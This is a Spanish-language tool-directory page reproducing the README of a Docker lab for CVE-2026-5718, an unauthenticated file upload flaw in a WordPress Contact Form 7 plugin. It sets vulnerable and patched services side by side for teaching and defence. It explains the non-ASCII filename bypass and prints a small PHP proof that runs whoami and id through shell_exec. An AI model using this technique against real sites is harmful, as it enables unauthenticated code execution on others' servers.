Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-5718-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-5718-lab

CVE-2026-5718-Lab

Laboratorio Docker local que demuestra la carga arbitraria de archivos CVE-2026-5718 en un complemento de WordPress, con servicios vulnerables y parcheados para el análisis de explotación y defensa en paralelo.

Ver Repositorio
126hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Laboratorio local Docker CVE-2026-5718

Laboratorio Docker local de solo vulnerable vs parcheado para CVE-2026-5718, que afecta al plugin de WordPress Drag and Drop Multiple File Upload for Contact Form 7.

Este laboratorio demuestra la diferencia entre la versión vulnerable 1.3.9.6 y la versión parcheada 1.3.9.7 utilizando una prueba de ejecución PHP de mínimo impacto dentro de un entorno exclusivamente Docker.

Alcance: solo localhost / red Docker. No utilice este PoC contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba.


Resumen ejecutivo

CVE-2026-5718 es una vulnerabilidad de subida arbitraria de archivos en Drag and Drop Multiple File Upload for Contact Form 7 hasta la versión 1.3.9.6 inclusive.

El problema se desencadena cuando se configuran tipos de lista negra personalizados y un nombre de archivo contiene caracteres no ASCII. En la versión vulnerable, una subida peligrosa de .php puede omitir la protección prevista y permanecer ejecutable. La versión 1.3.9.7 corrige el problema rechazando la misma subida.

Este repositorio ejecuta dos servicios locales de WordPress:

  • vuln en http://localhost:8081 con la versión 1.3.9.6 del plugin
  • patched en http://localhost:8082 con la versión 1.3.9.7 del plugin

Arquitectura del laboratorio

root@kitploit:~
Host
├── http://localhost:8081  -> servicio WordPress vulnerable
└── http://localhost:8082  -> servicio WordPress parcheado

Red Docker
├── vuln
├── vuln-db
├── patched
└── patched-db
ServicioPropósitoPuerto del hostVersión
vulnLaboratorio WordPress vulnerable8081Plugin 1.3.9.6
patchedLaboratorio WordPress parcheado8082Plugin 1.3.9.7
vuln-dbBase de datos MySQL para el servicio vulnerableinternoMySQL 8.0
patched-dbBase de datos MySQL para el servicio parcheadointernoMySQL 8.0

Estructura del repositorio

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Flujo de la vulnerabilidad

El formulario de Contact Form 7 precargado contiene un campo Drag and Drop Multiple File Upload:

root@kitploit:~
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]

El PoC sube un archivo de prueba PHP llamado:

root@kitploit:~
proof-β.php

El carácter β no es ASCII. Esto es importante porque la vulnerabilidad depende del manejo del nombre de archivo para entradas no ASCII.

Flujo de alto nivel:

root@kitploit:~
PoC
 ↓
Obtiene la página del laboratorio y extrae el nonce AJAX del DnD CF7
 ↓
Sube proof-β.php a través de wp-admin/admin-ajax.php
 ↓
La versión vulnerable 1.3.9.6 acepta y almacena el archivo como .php
 ↓
El PoC solicita el archivo subido
 ↓
El laboratorio vulnerable ejecuta la prueba PHP como www-data

Flujo parcheado:

root@kitploit:~
PoC
 ↓
Sube el mismo archivo proof-β.php
 ↓
La versión parcheada 1.3.9.7 rechaza la subida
 ↓
No se almacena ningún archivo PHP y no se produce ejecución de código

Diseño de la prueba local de RCE

La prueba PHP subida es intencionalmente mínima:

root@kitploit:~
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

La prueba solo ejecuta whoami e id para mostrar el contexto de ejecución. No utiliza una reverse shell, persistencia, acceso a credenciales, movimiento lateral, escaneo de red ni acciones destructivas.

El servicio vulnerable permite intencionalmente la ejecución de PHP en el directorio de subida del plugin para que el impacto sea observable en este laboratorio local. El servicio parcheado mantiene el comportamiento más seguro y rechaza la subida en la capa de validación de la aplicación.


Requisitos

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Instale las dependencias de Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

Construcción y ejecución

Comience desde un estado limpio:

root@kitploit:~
docker compose down -v
docker compose up --build -d

Compruebe el estado de los servicios:

root@kitploit:~
docker compose ps

Abra las páginas del laboratorio:

root@kitploit:~
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

Ejecutar el PoC

Ejecute contra el servicio vulnerable:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8081

Ejecute contra el servicio parcheado:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8082

El PoC solo acepta objetivos localhost o loopback.


Resultado esperado

Servicio vulnerable

Comportamiento esperado:

  • La subida es aceptada.
  • El nombre del archivo subido sigue siendo un archivo .php.
  • La prueba PHP subida se ejecuta como el usuario del servidor web.

Ejemplo de salida:

root@kitploit:~
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

Servicio parcheado

Comportamiento esperado:

  • La misma subida es rechazada.
  • La prueba PHP no se almacena como un archivo ejecutable.
  • No se produce ejecución de código.

Ejemplo de salida:

root@kitploit:~
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

Notas de seguridad

Este laboratorio está restringido intencionalmente a pruebas locales.

El PoC:

  • bloquea objetivos que no sean localhost,
  • no utiliza una reverse shell,
  • no realiza persistencia,
  • no lee secretos,
  • no escanea redes,
  • solo ejecuta whoami e id dentro del contenedor vulnerable.

El servicio vulnerable relaja la ejecución de PHP en el directorio de subida solo para hacer observable la prueba local. No copie esa configuración a producción.


Limpieza

Detenga los contenedores:

root@kitploit:~
docker compose down

Elimine contenedores y volúmenes:

root@kitploit:~
docker compose down -v

Elimine el entorno virtual de Python:

root@kitploit:~
rm -rf .venv

Referencias

  • NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

  • Aviso de Patchstack: WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

  • Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

  • Base de datos de avisos de GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

  • Página del plugin en WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

  • Página del proveedor del plugin: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/


Aviso legal

Este repositorio es solo para investigación educativa y defensiva de seguridad. Está diseñado para ejecutarse únicamente en localhost mediante Docker. No utilice el PoC contra sistemas públicos o de terceros.

Descargar herramienta